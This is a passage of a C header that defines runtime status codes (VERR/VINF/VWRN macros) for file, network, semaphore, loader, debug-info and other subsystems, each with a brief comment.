VERR_NO_PHYS_MEMORY (-73) /** The address (virtual or physical) is too big. */ #define VERR_ADDRESS_TOO_BIG (-74) /** Failed to map a memory object. */ #define VERR_MAP_FAILED (-75) /** Trailing characters. */ #define VERR_TRAILING_CHARS (-76) /** Trailing characters. */ #define VWRN_TRAILING_CHARS 76 /** Trailing spaces. */ #define VERR_TRAILING_SPACES (-77) /** Trailing spaces. */ #define VWRN_TRAILING_SPACES 77 /** Generic not found error. */ #define VERR_NOT_FOUND (-78) /** Generic not found warning. */ #define VWRN_NOT_FOUND 78 /** Generic invalid state error. */ #define VERR_INVALID_STATE (-79) /** Generic invalid state warning. */ #define VWRN_INVALID_STATE 79 /** Generic out of resources error. */ #define VERR_OUT_OF_RESOURCES (-80) /** Generic out of resources warning. */ #define VWRN_OUT_OF_RESOURCES 80 /** No more handles available, too many open handles. */ #define VERR_NO_MORE_HANDLES (-81) /** Preemption is disabled. * The requested operation can only be performed when preemption is enabled. */ #define VERR_PREEMPT_DISABLED (-82) /** End of string. */ #define VERR_END_OF_STRING (-83) /** End of string. */ #define VINF_END_OF_STRING 83 /** A page count is out of range. */ #define VERR_PAGE_COUNT_OUT_OF_RANGE (-84) /** Generic object destroyed status. */ #define VERR_OBJECT_DESTROYED (-85) /** Generic object was destroyed by the call status. */ #define VINF_OBJECT_DESTROYED 85 /** Generic dangling objects status. */ #define VERR_DANGLING_OBJECTS (-86) /** Generic dangling objects status. */ #define VWRN_DANGLING_OBJECTS 86 /** Invalid Base64 encoding. */ #define VERR_INVALID_BASE64_ENCODING (-87) /** Return instigated by a callback or similar. */ #define VERR_CALLBACK_RETURN (-88) /** Return instigated by a callback or similar. */ #define VINF_CALLBACK_RETURN 88 /** Authentication failure. */ #define VERR_AUTHENTICATION_FAILURE (-89) /** Not a power of two. */ #define VERR_NOT_POWER_OF_TWO (-90) /** Status code, typically given as a parameter, that isn't supposed to be used. */ #define VERR_IGNORED (-91) /** Concurrent access to the object is not allowed. */ #define VERR_CONCURRENT_ACCESS (-92) /** The caller does not have a reference to the object. * This status is used when two threads is caught sharing the same object * reference. */ #define VERR_CALLER_NO_REFERENCE (-93) /** Generic no change error. */ #define VERR_NO_CHANGE (-95) /** Generic no change info. */ #define VINF_NO_CHANGE 95 /** Out of memory condition when allocating executable memory. */ #define VERR_NO_EXEC_MEMORY (-96) /** The alignment is not supported. */ #define VERR_UNSUPPORTED_ALIGNMENT (-97) /** The alignment is not really supported, however we got lucky with this * allocation. */ #define VINF_UNSUPPORTED_ALIGNMENT 97 /** Duplicate something. */ #define VERR_DUPLICATE (-98) /** Something is missing. */ #define VERR_MISSING (-99) /** An unexpected (/unknown) exception was caught. */ #define VERR_UNEXPECTED_EXCEPTION (-22400) /** Buffer underflow. */ #define VERR_BUFFER_UNDERFLOW (-22401) /** Buffer underflow. */ #define VINF_BUFFER_UNDERFLOW 22401 /** Uneven input. */ #define VERR_UNEVEN_INPUT (-22402) /** Something is not available or not working properly. */ #define VERR_NOT_AVAILABLE (-22403) /** The RTPROC_FLAGS_DETACHED flag isn't supported. */ #define VERR_PROC_DETACH_NOT_SUPPORTED (-22404) /** An account is restricted in a certain way. */ #define VERR_ACCOUNT_RESTRICTED (-22405) /** An account is restricted in a certain way. */ #define VINF_ACCOUNT_RESTRICTED 22405 /** Not able satisfy all the requirements of the request. */ #define VERR_UNABLE_TO_SATISFY_REQUIREMENTS (-22406) /** Not able satisfy all the requirements of the request. */ #define VWRN_UNABLE_TO_SATISFY_REQUIREMENTS 22406 /** The requested allocation is too big. */ #define VERR_ALLOCATION_TOO_BIG (-22407) /** Mismatch. */ #define VERR_MISMATCH (-22408) /** Wrong type. */ #define VERR_WRONG_TYPE (-22409) /** @} */ /** @name Common File/Disk/Pipe/etc Status Codes * @{ */ /** Unresolved (unknown) file i/o error. */ #define VERR_FILE_IO_ERROR (-100) /** File/Device open failed. */ #define VERR_OPEN_FAILED (-101) /** File not found. */ #define VERR_FILE_NOT_FOUND (-102) /** Path not found. */ #define VERR_PATH_NOT_FOUND (-103) /** Invalid (malformed) file/path name. */ #define VERR_INVALID_NAME (-104) /** The object in question already exists. */ #define VERR_ALREADY_EXISTS (-105) /** The object in question already exists. */ #define VWRN_ALREADY_EXISTS 105 /** Too many open files. */ #define VERR_TOO_MANY_OPEN_FILES (-106) /** Seek error. */ #define VERR_SEEK (-107) /** Seek below file start. */ #define VERR_NEGATIVE_SEEK (-108) /** Trying to seek on device. */ #define VERR_SEEK_ON_DEVICE (-109) /** Reached the end of the file. */ #define VERR_EOF (-110) /** Reached the end of the file. */ #define VINF_EOF 110 /** Generic file read error. */ #define VERR_READ_ERROR (-111) /** Generic file write error. */ #define VERR_WRITE_ERROR (-112) /** Write protect error. */ #define VERR_WRITE_PROTECT (-113) /** Sharing violation, file is being used by another process. */ #define VERR_SHARING_VIOLATION (-114) /** Unable to lock a region of a file. */ #define VERR_FILE_LOCK_FAILED (-115) /** File access error, another process has locked a portion of the file. */ #define VERR_FILE_LOCK_VIOLATION (-116) /** File or directory can't be created. */ #define VERR_CANT_CREATE (-117) /** Directory can't be deleted. */ #define VERR_CANT_DELETE_DIRECTORY (-118) /** Can't move file to another disk. */ #define VERR_NOT_SAME_DEVICE (-119) /** The filename or extension is too long. */ #define VERR_FILENAME_TOO_LONG (-120) /** Media not present in drive. */ #define VERR_MEDIA_NOT_PRESENT (-121) /** The type of media was not recognized. Not formatted? */ #define VERR_MEDIA_NOT_RECOGNIZED (-122) /** Can't unlock - region was not locked. */ #define VERR_FILE_NOT_LOCKED (-123) /** Unrecoverable error: lock was lost. */ #define VERR_FILE_LOCK_LOST (-124) /** Can't delete directory with files. */ #define VERR_DIR_NOT_EMPTY (-125) /** A directory operation was attempted on a non-directory object. */ #define VERR_NOT_A_DIRECTORY (-126) /** A non-directory operation was attempted on a directory object. */ #define VERR_IS_A_DIRECTORY (-127) /** Tried to grow a file beyond the limit imposed by the process or the filesystem. */ #define VERR_FILE_TOO_BIG (-128) /** No pending request the aio context has to wait for completion. */ #define VERR_FILE_AIO_NO_REQUEST (-129) /** The request could not be canceled or prepared for another transfer * because it is still in progress. */ #define VERR_FILE_AIO_IN_PROGRESS (-130) /** The request could not be canceled because it already completed. */ #define VERR_FILE_AIO_COMPLETED (-131) /** The I/O context couldn't be destroyed because there are still pending requests. */ #define VERR_FILE_AIO_BUSY (-132) /** The requests couldn't be submitted because that would exceed the capacity of the context. */ #define VERR_FILE_AIO_LIMIT_EXCEEDED (-133) /** The request was canceled. */ #define VERR_FILE_AIO_CANCELED (-134) /** The request wasn't submitted so it can't be canceled. */ #define VERR_FILE_AIO_NOT_SUBMITTED (-135) /** A request was not prepared and thus could not be submitted. */ #define VERR_FILE_AIO_NOT_PREPARED (-136) /** Not all requests could be submitted due to resource shortage. */ #define VERR_FILE_AIO_INSUFFICIENT_RESSOURCES (-137) /** There are not enough events available on the host to create the I/O context. * This exact meaning is host platform dependent. */ #define VERR_FILE_AIO_INSUFFICIENT_EVENTS (-138) /** Device or resource is busy. */ #define VERR_RESOURCE_BUSY (-139) /** A file operation was attempted on a non-file object. */ #define VERR_NOT_A_FILE (-140) /** A non-file operation was attempted on a file object. */ #define VERR_IS_A_FILE (-141) /** Unexpected filesystem object type. */ #define VERR_UNEXPECTED_FS_OBJ_TYPE (-142) /** A path does not start with a root specification. */ #define VERR_PATH_DOES_NOT_START_WITH_ROOT (-143) /** A path is relative, expected an absolute path. */ #define VERR_PATH_IS_RELATIVE (-144) /** A path is not relative (start with root), expected an relative path. */ #define VERR_PATH_IS_NOT_RELATIVE (-145) /** Zero length path. */ #define VERR_PATH_ZERO_LENGTH (-146) /** @} */ /** @name Generic Filesystem I/O Status Codes * @{ */ /** Unresolved (unknown) disk i/o error. */ #define VERR_DISK_IO_ERROR (-150) /** Invalid drive number. */ #define VERR_INVALID_DRIVE (-151) /** Disk is full. */ #define VERR_DISK_FULL (-152) /** Disk was changed. */ #define VERR_DISK_CHANGE (-153) /** Drive is locked. */ #define VERR_DRIVE_LOCKED (-154) /** The specified disk or diskette cannot be accessed. */ #define VERR_DISK_INVALID_FORMAT (-155) /** Too many symbolic links. */ #define VERR_TOO_MANY_SYMLINKS (-156) /** The OS does not support setting the time stamps on a symbolic link. */ #define VERR_NS_SYMLINK_SET_TIME (-157) /** The OS does not support changing the owner of a symbolic link. */ #define VERR_NS_SYMLINK_CHANGE_OWNER (-158) /** @} */ /** @name Generic Directory Enumeration Status Codes * @{ */ /** Unresolved (unknown) search error. */ #define VERR_SEARCH_ERROR (-200) /** No more files found. */ #define VERR_NO_MORE_FILES (-201) /** No more search handles available. */ #define VERR_NO_MORE_SEARCH_HANDLES (-202) /** RTDirReadEx() failed to retrieve the extra data which was requested. */ #define VWRN_NO_DIRENT_INFO 203 /** @} */ /** @name Internal Processing Errors * @{ */ /** Internal error - this should never happen. */ #define VERR_INTERNAL_ERROR (-225) /** Internal error no. 2. */ #define VERR_INTERNAL_ERROR_2 (-226) /** Internal error no. 3. */ #define VERR_INTERNAL_ERROR_3 (-227) /** Internal error no. 4. */ #define VERR_INTERNAL_ERROR_4 (-228) /** Internal error no. 5. */ #define VERR_INTERNAL_ERROR_5 (-229) /** Internal error: Unexpected status code. */ #define VERR_IPE_UNEXPECTED_STATUS (-230) /** Internal error: Unexpected status code. */ #define VERR_IPE_UNEXPECTED_INFO_STATUS (-231) /** Internal error: Unexpected status code. */ #define VERR_IPE_UNEXPECTED_ERROR_STATUS (-232) /** Internal error: Uninitialized status code. * @remarks This is used by value elsewhere. */ #define VERR_IPE_UNINITIALIZED_STATUS (-233) /** Internal error: Supposedly unreachable default case in a switch. */ #define VERR_IPE_NOT_REACHED_DEFAULT_CASE (-234) /** @} */ /** @name Generic Device I/O Status Codes * @{ */ /** Unresolved (unknown) device i/o error. */ #define VERR_DEV_IO_ERROR (-250) /** Device i/o: Bad unit. */ #define VERR_IO_BAD_UNIT (-251) /** Device i/o: Not ready. */ #define VERR_IO_NOT_READY (-252) /** Device i/o: Bad command. */ #define VERR_IO_BAD_COMMAND (-253) /** Device i/o: CRC error. */ #define VERR_IO_CRC (-254) /** Device i/o: Bad length. */ #define VERR_IO_BAD_LENGTH (-255) /** Device i/o: Sector not found. */ #define VERR_IO_SECTOR_NOT_FOUND (-256) /** Device i/o: General failure. */ #define VERR_IO_GEN_FAILURE (-257) /** @} */ /** @name Generic Pipe I/O Status Codes * @{ */ /** Unresolved (unknown) pipe i/o error. */ #define VERR_PIPE_IO_ERROR (-300) /** Broken pipe. */ #define VERR_BROKEN_PIPE (-301) /** Bad pipe. */ #define VERR_BAD_PIPE (-302) /** Pipe is busy. */ #define VERR_PIPE_BUSY (-303) /** No data in pipe. */ #define VERR_NO_DATA (-304) /** Pipe is not connected. */ #define VERR_PIPE_NOT_CONNECTED (-305) /** More data available in pipe. */ #define VERR_MORE_DATA (-306) /** Expected read pipe, got a write pipe instead. */ #define VERR_PIPE_NOT_READ (-307) /** Expected write pipe, got a read pipe instead. */ #define VERR_PIPE_NOT_WRITE (-308) /** @} */ /** @name Generic Semaphores Status Codes * @{ */ /** Unresolved (unknown) semaphore error. */ #define VERR_SEM_ERROR (-350) /** Too many semaphores. */ #define VERR_TOO_MANY_SEMAPHORES (-351) /** Exclusive semaphore is owned by another process. */ #define VERR_EXCL_SEM_ALREADY_OWNED (-352) /** The semaphore is set and cannot be closed. */ #define VERR_SEM_IS_SET (-353) /** The semaphore cannot be set again. */ #define VERR_TOO_MANY_SEM_REQUESTS (-354) /** Attempt to release mutex not owned by caller. */ #define VERR_NOT_OWNER (-355) /** The semaphore has been opened too many times. */ #define VERR_TOO_MANY_OPENS (-356) /** The maximum posts for the event semaphore has been reached. */ #define VERR_TOO_MANY_POSTS (-357) /** The event semaphore has already been posted. */ #define VERR_ALREADY_POSTED (-358) /** The event semaphore has already been reset. */ #define VERR_ALREADY_RESET (-359) /** The semaphore is in use. */ #define VERR_SEM_BUSY (-360) /** The previous ownership of this semaphore has ended. */ #define VERR_SEM_OWNER_DIED (-361) /** Failed to open semaphore by name - not found. */ #define VERR_SEM_NOT_FOUND (-362) /** Semaphore destroyed while waiting. */ #define VERR_SEM_DESTROYED (-363) /** Nested ownership requests are not permitted for this semaphore type. */ #define VERR_SEM_NESTED (-364) /** The release call only release a semaphore nesting, i.e. the caller is still * holding the semaphore. */ #define VINF_SEM_NESTED (364) /** Deadlock detected. */ #define VERR_DEADLOCK (-365) /** Ping-Pong listen or speak out of turn error. */ #define VERR_SEM_OUT_OF_TURN (-366) /** Tried to take a semaphore in a bad context. */ #define VERR_SEM_BAD_CONTEXT (-367) /** Don't spin for the semaphore, but it is safe to try grab it. */ #define VINF_SEM_BAD_CONTEXT (367) /** Wrong locking order detected. */ #define VERR_SEM_LV_WRONG_ORDER (-368) /** Wrong release order detected. */ #define VERR_SEM_LV_WRONG_RELEASE_ORDER (-369) /** Attempt to recursively enter a non-recurisve lock. */ #define VERR_SEM_LV_NESTED (-370) /** Invalid parameters passed to the lock validator. */ #define VERR_SEM_LV_INVALID_PARAMETER (-371) /** The lock validator detected a deadlock. */ #define VERR_SEM_LV_DEADLOCK (-372) /** The lock validator detected an existing deadlock. * The deadlock was not caused by the current operation, but existed already. */ #define VERR_SEM_LV_EXISTING_DEADLOCK (-373) /** Not the lock owner according our records. */ #define VERR_SEM_LV_NOT_OWNER (-374) /** An illegal lock upgrade was attempted. */ #define VERR_SEM_LV_ILLEGAL_UPGRADE (-375) /** The thread is not a valid signaller of the event. */ #define VERR_SEM_LV_NOT_SIGNALLER (-376) /** Internal error in the lock validator or related components. */ #define VERR_SEM_LV_INTERNAL_ERROR (-377) /** @} */ /** @name Generic Network I/O Status Codes * @{ */ /** Unresolved (unknown) network error. */ #define VERR_NET_IO_ERROR (-400) /** The network is busy or is out of resources. */ #define VERR_NET_OUT_OF_RESOURCES (-401) /** Net host name not found. */ #define VERR_NET_HOST_NOT_FOUND (-402) /** Network path not found. */ #define VERR_NET_PATH_NOT_FOUND (-403) /** General network printing error. */ #define VERR_NET_PRINT_ERROR (-404) /** The machine is not on the network. */ #define VERR_NET_NO_NETWORK (-405) /** Name is not unique on the network. */ #define VERR_NET_NOT_UNIQUE_NAME (-406) /* These are BSD networking error codes - numbers correspond, don't mess! */ /** Operation in progress. */ #define VERR_NET_IN_PROGRESS (-436) /** Operation already in progress. */ #define VERR_NET_ALREADY_IN_PROGRESS (-437) /** Attempted socket operation with a non-socket handle. * (This includes closed handles.) */ #define VERR_NET_NOT_SOCKET (-438) /** Destination address required. */ #define VERR_NET_DEST_ADDRESS_REQUIRED (-439) /** Message too long. */ #define VERR_NET_MSG_SIZE (-440) /** Protocol wrong type for socket. */ #define VERR_NET_PROTOCOL_TYPE (-441) /** Protocol not available. */ #define VERR_NET_PROTOCOL_NOT_AVAILABLE (-442) /** Protocol not supported. */ #define VERR_NET_PROTOCOL_NOT_SUPPORTED (-443) /** Socket type not supported. */ #define VERR_NET_SOCKET_TYPE_NOT_SUPPORTED (-444) /** Operation not supported. */ #define VERR_NET_OPERATION_NOT_SUPPORTED (-445) /** Protocol family not supported. */ #define VERR_NET_PROTOCOL_FAMILY_NOT_SUPPORTED (-446) /** Address family not supported by protocol family. */ #define VERR_NET_ADDRESS_FAMILY_NOT_SUPPORTED (-447) /** Address already in use. */ #define VERR_NET_ADDRESS_IN_USE (-448) /** Can't assign requested address. */ #define VERR_NET_ADDRESS_NOT_AVAILABLE (-449) /** Network is down. */ #define VERR_NET_DOWN (-450) /** Network is unreachable. */ #define VERR_NET_UNREACHABLE (-451) /** Network dropped connection on reset. */ #define VERR_NET_CONNECTION_RESET (-452) /** Software caused connection abort. */ #define VERR_NET_CONNECTION_ABORTED (-453) /** Connection reset by peer. */ #define VERR_NET_CONNECTION_RESET_BY_PEER (-454) /** No buffer space available. */ #define VERR_NET_NO_BUFFER_SPACE (-455) /** Socket is already connected. */ #define VERR_NET_ALREADY_CONNECTED (-456) /** Socket is not connected. */ #define VERR_NET_NOT_CONNECTED (-457) /** Can't send after socket shutdown. */ #define VERR_NET_SHUTDOWN (-458) /** Too many references: can't splice. */ #define VERR_NET_TOO_MANY_REFERENCES (-459) /** Too many references: can't splice. */ #define VERR_NET_CONNECTION_TIMED_OUT (-460) /** Connection refused. */ #define VERR_NET_CONNECTION_REFUSED (-461) /* ELOOP is not net. */ /* ENAMETOOLONG is not net. */ /** Host is down. */ #define VERR_NET_HOST_DOWN (-464) /** No route to host. */ #define VERR_NET_HOST_UNREACHABLE (-465) /** Protocol error. */ #define VERR_NET_PROTOCOL_ERROR (-466) /** Incomplete packet was submitted by guest. */ #define VERR_NET_INCOMPLETE_TX_PACKET (-467) /** @} */ /** @name TCP Status Codes * @{ */ /** Stop the TCP server. */ #define VERR_TCP_SERVER_STOP (-500) /** The server was stopped. */ #define VINF_TCP_SERVER_STOP 500 /** The TCP server was shut down using RTTcpServerShutdown. */ #define VERR_TCP_SERVER_SHUTDOWN (-501) /** The TCP server was destroyed. */ #define VERR_TCP_SERVER_DESTROYED (-502) /** The TCP server has no client associated with it. */ #define VINF_TCP_SERVER_NO_CLIENT 503 /** @} */ /** @name UDP Status Codes * @{ */ /** Stop the UDP server. */ #define VERR_UDP_SERVER_STOP (-520) /** The server was stopped. */ #define VINF_UDP_SERVER_STOP 520 /** The UDP server was shut down using RTUdpServerShutdown. */ #define VERR_UDP_SERVER_SHUTDOWN (-521) /** The UDP server was destroyed. */ #define VERR_UDP_SERVER_DESTROYED (-522) /** The UDP server has no client associated with it. */ #define VINF_UDP_SERVER_NO_CLIENT 523 /** @} */ /** @name L4 Specific Status Codes * @{ */ /** Invalid offset in an L4 dataspace */ #define VERR_L4_INVALID_DS_OFFSET (-550) /** IPC error */ #define VERR_IPC (-551) /** Item already used */ #define VERR_RESOURCE_IN_USE (-552) /** Source/destination not found */ #define VERR_IPC_PROCESS_NOT_FOUND (-553) /** Receive timeout */ #define VERR_IPC_RECEIVE_TIMEOUT (-554) /** Send timeout */ #define VERR_IPC_SEND_TIMEOUT (-555) /** Receive cancelled */ #define VERR_IPC_RECEIVE_CANCELLED (-556) /** Send cancelled */ #define VERR_IPC_SEND_CANCELLED (-557) /** Receive aborted */ #define VERR_IPC_RECEIVE_ABORTED (-558) /** Send aborted */ #define VERR_IPC_SEND_ABORTED (-559) /** Couldn't map pages during receive */ #define VERR_IPC_RECEIVE_MAP_FAILED (-560) /** Couldn't map pages during send */ #define VERR_IPC_SEND_MAP_FAILED (-561) /** Send pagefault timeout in receive */ #define VERR_IPC_RECEIVE_SEND_PF_TIMEOUT (-562) /** Send pagefault timeout in send */ #define VERR_IPC_SEND_SEND_PF_TIMEOUT (-563) /** (One) receive buffer was too small, or too few buffers */ #define VINF_IPC_RECEIVE_MSG_CUT 564 /** (One) send buffer was too small, or too few buffers */ #define VINF_IPC_SEND_MSG_CUT 565 /** Dataspace manager server not found */ #define VERR_L4_DS_MANAGER_NOT_FOUND (-566) /** @} */ /** @name Loader Status Codes. * @{ */ /** Invalid executable signature. */ #define VERR_INVALID_EXE_SIGNATURE (-600) /** The iprt loader recognized a ELF image, but doesn't support loading it. */ #define VERR_ELF_EXE_NOT_SUPPORTED (-601) /** The iprt loader recognized a PE image, but doesn't support loading it. */ #define VERR_PE_EXE_NOT_SUPPORTED (-602) /** The iprt loader recognized a LX image, but doesn't support loading it. */ #define VERR_LX_EXE_NOT_SUPPORTED (-603) /** The iprt loader recognized a LE image, but doesn't support loading it. */ #define VERR_LE_EXE_NOT_SUPPORTED (-604) /** The iprt loader recognized a NE image, but doesn't support loading it. */ #define VERR_NE_EXE_NOT_SUPPORTED (-605) /** The iprt loader recognized a MZ image, but doesn't support loading it. */ #define VERR_MZ_EXE_NOT_SUPPORTED (-606) /** The iprt loader recognized an a.out image, but doesn't support loading it. */ #define VERR_AOUT_EXE_NOT_SUPPORTED (-607) /** Bad executable. */ #define VERR_BAD_EXE_FORMAT (-608) /** Symbol (export) not found. */ #define VERR_SYMBOL_NOT_FOUND (-609) /** Module not found. */ #define VERR_MODULE_NOT_FOUND (-610) /** The loader resolved an external symbol to an address to big for the image format. */ #define VERR_SYMBOL_VALUE_TOO_BIG (-611) /** The image is too big. */ #define VERR_IMAGE_TOO_BIG (-612) /** The image base address is to high for this image type. */ #define VERR_IMAGE_BASE_TOO_HIGH (-614) /** Mismatching architecture. */ #define VERR_LDR_ARCH_MISMATCH (-615) /** Mismatch between IPRT and native loader. */ #define VERR_LDR_MISMATCH_NATIVE (-616) /** Failed to resolve an imported (external) symbol. */ #define VERR_LDR_IMPORTED_SYMBOL_NOT_FOUND (-617) /** Generic loader failure. */ #define VERR_LDR_GENERAL_FAILURE (-618) /** Code signing error. */ #define VERR_LDR_IMAGE_HASH (-619) /** The PE loader encountered delayed imports, a feature which hasn't been implemented yet. */ #define VERR_LDRPE_DELAY_IMPORT (-620) /** The PE loader encountered a malformed certificate. */ #define VERR_LDRPE_CERT_MALFORMED (-621) /** The PE loader encountered a certificate with an unsupported type or structure revision. */ #define VERR_LDRPE_CERT_UNSUPPORTED (-622) /** The PE loader doesn't know how to deal with the global pointer data directory entry yet. */ #define VERR_LDRPE_GLOBALPTR (-623) /** The PE loader doesn't support the TLS data directory yet. */ #define VERR_LDRPE_TLS (-624) /** The PE loader doesn't grok the COM descriptor data directory entry. */ #define VERR_LDRPE_COM_DESCRIPTOR (-625) /** The PE loader encountered an unknown load config directory/header size. */ #define VERR_LDRPE_LOAD_CONFIG_SIZE (-626) /** The PE loader encountered a lock prefix table, a feature which hasn't been implemented yet. */ #define VERR_LDRPE_LOCK_PREFIX_TABLE (-627) /** The ELF loader doesn't handle foreign endianness. */ #define VERR_LDRELF_ODD_ENDIAN (-630) /** The ELF image is 'dynamic', the ELF loader can only deal with 'relocatable' images at present. */ #define VERR_LDRELF_DYN (-631) /** The ELF image is 'executable', the ELF loader can only deal with 'relocatable' images at present. */ #define VERR_LDRELF_EXEC (-632) /** The ELF image was created for an unsupported target machine type. */ #define VERR_LDRELF_MACHINE (-633) /** The ELF version is not supported. */ #define VERR_LDRELF_VERSION (-634) /** The ELF loader cannot handle multiple SYMTAB sections. */ #define VERR_LDRELF_MULTIPLE_SYMTABS (-635) /** The ELF loader encountered a relocation type which is not implemented. */ #define VERR_LDRELF_RELOCATION_NOT_SUPPORTED (-636) /** The ELF loader encountered a bad symbol index. */ #define VERR_LDRELF_INVALID_SYMBOL_INDEX (-637) /** The ELF loader encountered an invalid symbol name offset. */ #define VERR_LDRELF_INVALID_SYMBOL_NAME_OFFSET (-638) /** The ELF loader encountered an invalid relocation offset. */ #define VERR_LDRELF_INVALID_RELOCATION_OFFSET (-639) /** The ELF loader didn't find the symbol/string table for the image. */ #define VERR_LDRELF_NO_SYMBOL_OR_NO_STRING_TABS (-640) /** Invalid link address. */ #define VERR_LDR_INVALID_LINK_ADDRESS (-647) /** Invalid image relative virtual address. */ #define VERR_LDR_INVALID_RVA (-648) /** Invalid segment:offset address. */ #define VERR_LDR_INVALID_SEG_OFFSET (-649) /** @}*/ /** @name Debug Info Reader Status Codes. * @{ */ /** The module contains no line number information. */ #define VERR_DBG_NO_LINE_NUMBERS (-650) /** The module contains no symbol information. */ #define VERR_DBG_NO_SYMBOLS (-651) /** The specified segment:offset address was invalid. Typically an attempt at * addressing outside the segment boundary. */ #define VERR_DBG_INVALID_ADDRESS (-652) /** Invalid segment index. */ #define VERR_DBG_INVALID_SEGMENT_INDEX (-653) /** Invalid segment offset. */ #define VERR_DBG_INVALID_SEGMENT_OFFSET (-654) /** Invalid image relative virtual address. */ #define VERR_DBG_INVALID_RVA (-655) /** Invalid image relative virtual address. */ #define VERR_DBG_SPECIAL_SEGMENT (-656) /** Address conflict within a module/segment. * Attempted to add a segment, symbol or line number that fully or partially * overlaps with an existing one. */ #define VERR_DBG_ADDRESS_CONFLICT (-657) /** Duplicate symbol within the module. * Attempted to add a symbol which name already exists within the module. */ #define VERR_DBG_DUPLICATE_SYMBOL (-658) /** The segment index specified when adding a new segment is already in use. */ #define VERR_DBG_SEGMENT_INDEX_CONFLICT (-659) /** No line number was found for the specified address/ordinal/whatever. */ #define VERR_DBG_LINE_NOT_FOUND (-660) /** The length of the symbol name is out of range. * This means it is an empty string or that it's greater or equal to * RTDBG_SYMBOL_NAME_LENGTH. */ #define VERR_DBG_SYMBOL_NAME_OUT_OF_RANGE (-661) /** The length of the file name is out of range. * This means it is an empty string or that it's greater or equal to * RTDBG_FILE_NAME_LENGTH. */ #define VERR_DBG_FILE_NAME_OUT_OF_RANGE (-662) /** The length of the segment name is out of range. * This means it is an empty string or that it is greater or equal to * RTDBG_SEGMENT_NAME_LENGTH. */ #define VERR_DBG_SEGMENT_NAME_OUT_OF_RANGE (-663) /** The specified address range wraps around. */ #define VERR_DBG_ADDRESS_WRAP (-664) /** The file is not a valid NM map file. */ #define VERR_DBG_NOT_NM_MAP_FILE (-665) /** The file is not a valid /proc/kallsyms file. */ #define VERR_DBG_NOT_LINUX_KALLSYMS (-666) /** No debug module interpreter matching the debug info. */ #define VERR_DBG_NO_MATCHING_INTERPRETER (-667) /** Bad DWARF line number header. */ #define VERR_DWARF_BAD_LINE_NUMBER_HEADER (-668) /** Unexpected end of DWARF unit. */ #define VERR_DWARF_UNEXPECTED_END (-669) /** DWARF LEB value overflows the decoder type. */ #define VERR_DWARF_LEB_OVERFLOW (-670) /** Bad DWARF extended line number opcode. */ #define VERR_DWARF_BAD_LNE (-671) /** Bad DWARF string. */ #define VERR_DWARF_BAD_STRING (-672) /** Bad DWARF position. */ #define VERR_DWARF_BAD_POS (-673) /** Bad DWARF info. */ #define VERR_DWARF_BAD_INFO (-674) /** Bad DWARF abbreviation data. */ #define VERR_DWARF_BAD_ABBREV (-675) /** A DWARF abbreviation was not found. */ #define VERR_DWARF_ABBREV_NOT_FOUND (-676) /** Encountered an unknown attribute form. */ #define VERR_DWARF_UNKNOWN_FORM (-677) /** Encountered an unexpected attribute form. */ #define VERR_DWARF_UNEXPECTED_FORM (-678) /** Unfinished code. */ #define VERR_DWARF_TODO (-679) /** Unknown location opcode. */ #define VERR_DWARF_UNKNOWN_LOC_OPCODE (-680) /** Expression stack overflow. */ #define VERR_DWARF_STACK_OVERFLOW (-681) /** Expression stack underflow. */ #define VERR_DWARF_STACK_UNDERFLOW (-682) /** Internal processing error in the DWARF code. */ #define VERR_DWARF_IPE (-683) /** Invalid configuration property value. */ #define VERR_DBG_CFG_INVALID_VALUE (-684) /** Not an integer property. */ #define VERR_DBG_CFG_NOT_UINT_PROP (-685) /** Deferred loading of information failed. */ #define VERR_DBG_DEFERRED_LOAD_FAILED (-686) /** Unfinished debug info reader code. */ #define VERR_DBG_TODO (-687) /** Found file, but it didn't match the search criteria. */ #define VERR_DBG_FILE_MISMATCH (-688) /** Internal processing error in the debug module reader code. */ #define VERR_DBG_MOD_IPE (-689) /** The symbol size was adjusted while adding it. */ #define VINF_DBG_ADJUSTED_SYM_SIZE 690 /** Unable to parse the CodeView debug information. */ #define VERR_CV_BAD_FORMAT (-691) /** Unfinished CodeView debug information feature. */ #define VERR_CV_TODO (-692) /** Internal processing error the CodeView debug information reader. */ #define VERR_CV_IPE (-693) /** @} */ /** @name Request Packet Status Codes. * @{ */ /** Invalid RT request type. * For the RTReqAlloc() case, the caller just specified an illegal enmType. For * all the other occurrences it means indicates corruption, broken logic, or stupid * interface user. */ #define VERR_RT_REQUEST_INVALID_TYPE (-700) /** Invalid RT request state. * The state of the request packet was not the expected and accepted one(s). Either * the interface user screwed up, or we've got corruption/broken logic. */ #define VERR_RT_REQUEST_STATE (-701) /** Invalid RT request packet. * One or more of the RT controlled packet members didn't contain the correct * values. Some thing's broken. */ #define VERR_RT_REQUEST_INVALID_PACKAGE (-702) /** The status field has not been updated yet as the request is still * pending completion. Someone queried the iStatus field before the request * has been fully processed. */ #define VERR_RT_REQUEST_STATUS_STILL_PENDING (-703) /** The request has been freed, don't read the status now. * Someone is reading the iStatus field of a freed request packet. */ #define VERR_RT_REQUEST_STATUS_FREED (-704) /** @} */ /** @name Environment Status Code * @{ */ /** The specified environment variable was not found. (RTEnvGetEx) */ #define VERR_ENV_VAR_NOT_FOUND (-750) /** The specified environment variable was not found. (RTEnvUnsetEx) */ #define VINF_ENV_VAR_NOT_FOUND (750) /** Unable to translate all the variables in the default environment due to * codeset issues (LANG / LC_ALL / LC_CTYPE). */ #define VWRN_ENV_NOT_FULLY_TRANSLATED (751) /** @} */ /** @name Multiprocessor Status Codes. * @{ */ /** The specified cpu is offline. */ #define VERR_CPU_OFFLINE (-800) /** The specified cpu was not found. */ #define VERR_CPU_NOT_FOUND (-801) /** Not all of the requested CPUs showed up in the PFNRTMPWORKER. */ #define VERR_NOT_ALL_CPUS_SHOWED (-802) /** Internal processing error in the RTMp code.*/ #define VERR_CPU_IPE_1 (-803) /** @} */ /** @name RTGetOpt status codes * @{ */ /** RTGetOpt: Command line option not recognized. */ #define VERR_GETOPT_UNKNOWN_OPTION (-825) /** RTGetOpt: Command line option needs argument. */ #define VERR_GETOPT_REQUIRED_ARGUMENT_MISSING (-826) /** RTGetOpt: Command line option has argument with bad format. */ #define VERR_GETOPT_INVALID_ARGUMENT_FORMAT (-827) /** RTGetOpt: Not an option. */ #define VINF_GETOPT_NOT_OPTION 828 /** RTGetOpt: Command line option needs an index. */ #define VERR_GETOPT_INDEX_MISSING (-829) /** @} */ /** @name RTCache status codes * @{ */ /** RTCache: cache is full. */ #define VERR_CACHE_FULL (-850) /** RTCache: cache is empty. */ #define VERR_CACHE_EMPTY (-851) /** @} */ /** @name RTMemCache status codes * @{ */ /** Reached the max cache size. */ #define VERR_MEM_CACHE_MAX_SIZE (-855) /** @} */ 